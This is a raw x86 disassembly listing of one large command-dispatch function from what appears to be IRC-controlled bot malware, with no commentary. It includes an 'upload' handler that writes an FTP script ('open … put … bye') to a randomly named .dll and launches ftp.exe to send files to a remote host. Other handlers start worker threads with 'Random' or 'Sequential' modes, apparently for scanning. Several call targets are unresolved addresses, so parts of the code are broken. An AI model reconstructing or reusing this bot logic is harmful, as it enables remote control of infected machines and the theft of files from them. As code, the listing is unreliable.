eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407208: ; CODE XREF: sub_401ACD+518Dj ; sub_401ACD+5557j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F75 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 push 4 push esi call sub_416CAF pop ecx test eax, eax pop ecx jnz short loc_407253 push esi push offset unk_42ABA8 loc_40723F: ; CODE XREF: sub_401ACD+711Ej ; sub_401ACD+796Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_403F9D ; --------------------------------------------------------------------------- loc_407253: ; CODE XREF: sub_401ACD+576Aj call near ptr 26A07AFh nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 9 cdq pop ecx idiv ecx push edx call sub_41C2C2 push 63h cdq pop ecx idiv ecx push edx call sub_41C2C2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C266 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BEA2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F75 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C7E6 push [ebp+arg_24] call sub_41BA3B add esp, 20h lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset aSS_1 ; "-s:%s" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi push esi jz short loc_407320 push offset unk_42AB38 jmp short loc_407325 ; --------------------------------------------------------------------------- loc_407320: ; CODE XREF: sub_401ACD+584Aj push offset unk_42AB08 loc_407325: ; CODE XREF: sub_401ACD+5851j call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40734E push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_40734E: ; CODE XREF: sub_401ACD+5863j lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_40735A: ; CODE XREF: sub_401ACD+58B2j lea eax, [ebp+var_2E5C] push 4 push eax call sub_416CAF add esp, 0Ch test eax, eax jz loc_401F75 lea eax, [ebp+var_2E5C] push eax call sub_41C7BC jmp short loc_40735A ; --------------------------------------------------------------------------- loc_407381: ; CODE XREF: sub_401ACD+5705j push edi call sub_41C159 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41C159 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073BA push 5 pop eax mov [ebp+var_36C], eax loc_4073BA: ; CODE XREF: sub_401ACD+58E2j push 3Ch pop ecx cmp eax, ecx jbe short loc_4073C7 mov [ebp+var_36C], ecx loc_4073C7: ; CODE XREF: sub_401ACD+58F2j push [ebp+arg_10] call sub_41C159 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_4073E7 mov [ebp+var_368], 320h loc_4073E7: ; CODE XREF: sub_401ACD+590Ej or [ebp+var_354], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+arg_1C], ebx jz short loc_40743D mov [ebp+arg_24], offset dword_4317F8 loc_407400: ; CODE XREF: sub_401ACD+5952j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_407423 add [ebp+arg_24], 40h inc [ebp+arg_1C] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_407400 jmp short loc_40743D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_401ACD+5944j mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_370], ecx loc_40743D: ; CODE XREF: sub_401ACD+592Aj ; sub_401ACD+5954j cmp [ebp+var_370], ebx jnz short loc_40744F push offset unk_42AAD4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_40744F: ; CODE XREF: sub_401ACD+5976j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_40748A cmp byte ptr [edi], 23h jz short loc_40748A push edi lea eax, [ebp+var_484] push 10h push eax call sub_41C360 push 78h push edi call sub_41C990 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407564 ; --------------------------------------------------------------------------- loc_40748A: ; CODE XREF: sub_401ACD+598Bj ; sub_401ACD+5990j cmp [ebp+var_8FF], bl jnz short loc_4074AC cmp [ebp+var_8FE], bl jnz short loc_4074AC cmp [ebp+var_8EE], bl jnz short loc_4074AC push offset unk_42AAA0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_4074AC: ; CODE XREF: sub_401ACD+59C3j ; sub_401ACD+59CBj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB978 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CBA60 push eax lea eax, [ebp+var_484] push eax call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40755E xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C820 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407552 loc_407530: ; CODE XREF: sub_401ACD+5A83j cmp eax, ebx jz short loc_407552 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407530 loc_407552: ; CODE XREF: sub_401ACD+5A61j ; sub_401ACD+5A65j mov [ebp+var_344], 1 jmp short loc_407564 ; --------------------------------------------------------------------------- loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj mov [ebp+var_344], ebx loc_407564: ; CODE XREF: sub_401ACD+59B8j ; sub_401ACD+5A8Fj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41C360 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075B5 loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj push esi loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j lea eax, [ebp+var_3F4] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_4075E0 ; --------------------------------------------------------------------------- loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4075C4 cmp byte ptr [eax], 23h jnz short loc_4075C4 push eax jmp short loc_4075A3 ; --------------------------------------------------------------------------- loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj ; sub_401ACD+5AF2j mov esi, offset aF ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4075A2 mov [ebp+var_3F4], bl loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4075F2 mov eax, offset aSequential ; "Sequential" loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA38 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407680 loc_40766A: ; CODE XREF: sub_401ACD+5BB1j cmp [ebp+var_340], ebx jnz loc_4081AD push 32h call near ptr 2680EF8h nop jmp short loc_40766A ; --------------------------------------------------------------------------- loc_407680: ; CODE XREF: sub_401ACD+5B9Bj call near ptr 269086Bh nop push eax push offset unk_42AA00 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_407691: ; CODE XREF: sub_401ACD+4E42j ; sub_401ACD+4E59j push edi call sub_40A8F0 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_4EC], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BFD0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CBA60 push eax lea eax, [ebp+var_2C4] push offset unk_42A9B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40CA1D push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407786 loc_407770: ; CODE XREF: sub_401ACD+5CB7j cmp [ebp+var_4D0], ebx jnz loc_403D46 push 32h call near ptr 2680EF8h nop jmp short loc_407770 ; --------------------------------------------------------------------------- loc_407786: ; CODE XREF: sub_401ACD+5CA1j nop call near ptr 269086Bh push eax push offset unk_42A974 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407797: ; CODE XREF: sub_401ACD+4E05j ; sub_401ACD+4E1Cj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A968 push eax call sub_41C266 add esp, 0Ch cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407957 ; --------------------------------------------------------------------------- loc_407887: ; CODE XREF: sub_401ACD+4DD7j ; sub_401ACD+4DEEj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] <%s> %s" loc_407957: ; CODE XREF: sub_401ACD+5DB5j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 28h jmp loc_409644 ; --------------------------------------------------------------------------- loc_407984: ; CODE XREF: sub_401ACD+4DA9j ; sub_401ACD+4DC0j push edi call dword_4CBA14 push [ebp+arg_18] mov [ebp+var_680], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BFD0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CBA60 push eax lea eax, [ebp+var_2C4] push offset unk_42A910 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C92C push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407A66 loc_407A50: ; CODE XREF: sub_401ACD+5F97j cmp [ebp+var_670], ebx jnz loc_403D46 push 32h call near ptr 2680EF8h nop jmp short loc_407A50 ; --------------------------------------------------------------------------- loc_407A66: ; CODE XREF: sub_401ACD+5F81j nop call near ptr 269086Bh push eax push offset unk_42AA00 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj ; sub_401ACD+4D92j push edi call sub_41C159 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BFD0 push [ebp+arg_0] call sub_41C159 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push [ebp+var_88] mov [ebp+var_123C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A8D4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B3BA add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset loc_410DAB push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407B63 loc_407B4D: ; CODE XREF: sub_401ACD+6094j cmp [ebp+var_111C], ebx jnz loc_403D46 push 32h nop call near ptr 2680EF8h jmp short loc_407B4D ; --------------------------------------------------------------------------- loc_407B63: ; CODE XREF: sub_401ACD+607Ej nop call near ptr 269086Bh push eax push offset unk_42A890 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj ; sub_401ACD+4D64j push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BFD0 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BFD0 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41C159 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407BCD push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407BD3 ; --------------------------------------------------------------------------- loc_407BCD: ; CODE XREF: sub_401ACD+60EAj mov [ebp+var_266C], ebx loc_407BD3: ; CODE XREF: sub_401ACD+60FEj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407BEA push esi call sub_41C159 pop ecx mov [ebp+var_2670], eax jmp short loc_407BF0 ; --------------------------------------------------------------------------- loc_407BEA: ; CODE XREF: sub_401ACD+610Cj mov [ebp+var_2670], ebx loc_407BF0: ; CODE XREF: sub_401ACD+611Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_2660], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2664], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A864 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset loc_4167A0 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407CA1 loc_407C8B: ; CODE XREF: sub_401ACD+61D2j cmp [ebp+var_265C], ebx jnz loc_407196 push 32h call near ptr 2680EF8h nop jmp short loc_407C8B ; --------------------------------------------------------------------------- loc_407CA1: ; CODE XREF: sub_401ACD+61BCj nop call near ptr 269086Bh push eax push offset unk_42A824 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj ; sub_401ACD+4D36j push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_3290], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_328C], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3498], esi push edi push offset unk_42A7E8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset byte_41561D push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407D89 loc_407D73: ; CODE XREF: sub_401ACD+62BAj cmp [ebp+var_3288], ebx jnz loc_407196 push 32h nop call near ptr 2680EF8h jmp short loc_407D73 ; --------------------------------------------------------------------------- loc_407D89: ; CODE XREF: sub_401ACD+62A4j call near ptr 269086Bh nop push eax push offset unk_42A7B0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3070], esi push edi push offset unk_42A780 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B3BA add esp, 20h mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset dword_414358 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407E71 loc_407E5B: ; CODE XREF: sub_401ACD+63A2j cmp [ebp+var_2E60], ebx jnz loc_407196 push 32h nop call near ptr 2680EF8h jmp short loc_407E5B ; --------------------------------------------------------------------------- loc_407E71: ; CODE XREF: sub_401ACD+638Cj call near ptr 269086Bh nop push eax push offset unk_42A748 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407E82: ; CODE XREF: sub_401ACD+4AC9j ; sub_401ACD+4AE0j ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BFD0 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3CF0], esi push edi push offset unk_42A718 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B3BA add esp, 20h mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset byte_4135DF push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407F6A loc_407F54: ; CODE XREF: sub_401ACD+649Bj cmp [ebp+var_3A60], ebx jnz loc_407196 push 32h nop call near ptr 2680EF8h jmp short loc_407F54 ; --------------------------------------------------------------------------- loc_407F6A: ; CODE XREF: sub_401ACD+6485j nop call near ptr 269086Bh push eax push offset unk_42A6E0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj ; sub_401ACD+4AB2j push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BFD0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FC6 push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BFD0 add esp, 0Ch loc_407FC6: ; CODE XREF: sub_401ACD+64E5j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C4] push offset dword_42A6B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B3BA add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017ED push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408052 loc_40803C: ; CODE XREF: sub_401ACD+6583j cmp [ebp+var_1620], ebx jnz loc_406BFE push 32h nop call near ptr 2680EF8h jmp short loc_40803C ; --------------------------------------------------------------------------- loc_408052: ; CODE XREF: sub_401ACD+656Dj nop call near ptr 269086Bh push eax push offset dword_42A674 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408063: ; CODE XREF: sub_401ACD+4A5Bj ; sub_401ACD+4A72j push [ebp+arg_18] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408156 mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41C360 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D60], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1D5C], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A648 push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B3BA add esp, 20h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset byte_413A29 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408145 loc_408133: ; CODE XREF: sub_401ACD+6676j cmp [ebp+var_1D58], ebx jnz short loc_4081AD push 32h call near ptr 2680EF8h nop jmp short loc_408133 ; --------------------------------------------------------------------------- loc_408145: ; CODE XREF: sub_401ACD+6664j call near ptr 269086Bh nop push eax push offset unk_42A610 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_408156: ; CODE XREF: sub_401ACD+65A7j push offset unk_42A5D8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408160: ; CODE XREF: sub_401ACD+4A2Dj ; sub_401ACD+4A44j push [ebp+arg_18] push edi nop call near ptr 26B09DCh test eax, eax jz short loc_40818D push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push offset unk_42A5B4 push 200h push eax call sub_41C360 add esp, 14h jmp short loc_4081AD ; --------------------------------------------------------------------------- loc_40818D: ; CODE XREF: sub_401ACD+669Fj push offset dword_42A5A8 call sub_418699 pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 loc_4081AA: ; CODE XREF: sub_401ACD+548Dj ; sub_401ACD+73C5j add esp, 0Ch loc_4081AD: ; CODE XREF: sub_401ACD+20DCj ; sub_401ACD+2E89j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4081CA: ; CODE XREF: sub_401ACD+56E4j call sub_409869 add esp, 14h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_401ACD+49FFj ; sub_401ACD+4A16j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41C360 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408211 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_408211 push eax lea eax, [ebp+var_3E04] push eax call sub_41C266 pop ecx pop ecx loc_408211: ; CODE XREF: sub_401ACD+6722j ; sub_401ACD+6733j push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42A578 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset dword_417054 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4082C3 loc_4082B1: ; CODE XREF: sub_401ACD+67F4j cmp [ebp+var_3CF4], ebx jnz short loc_4082DE push 32h nop call near ptr 2680EF8h jmp short loc_4082B1 ; --------------------------------------------------------------------------- loc_4082C3: ; CODE XREF: sub_401ACD+67E2j nop call near ptr 269086Bh push eax push offset unk_42A53C loc_4082CF: ; CODE XREF: sub_401ACD+909j ; sub_401ACD+A47j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_4082DE: ; CODE XREF: sub_401ACD+7C5j ; sub_401ACD+930j ... push 1 pop esi jmp loc_406C22 ; --------------------------------------------------------------------------- loc_4082E6: ; CODE XREF: sub_401ACD+49D1j ; sub_401ACD+49E8j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BF70 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41C159 add esp, 10h cmp eax, esi jnz short loc_408323 mov [ebp+var_638], 5 loc_408323: ; CODE XREF: sub_401ACD+684Bj cmp [ebp+var_C], ebx jz loc_406BFE push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406BFE lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 26709E4h test eax, eax jnz short loc_40836E push offset unk_42A518 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40836E: ; CODE XREF: sub_401ACD+6895j push edi push offset dword_42A4FC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408379: ; CODE XREF: sub_401ACD+49A3j ; sub_401ACD+49BAj push [ebp+arg_18] push offset aSaadfgh ; "saadfgh" call sub_41CA50 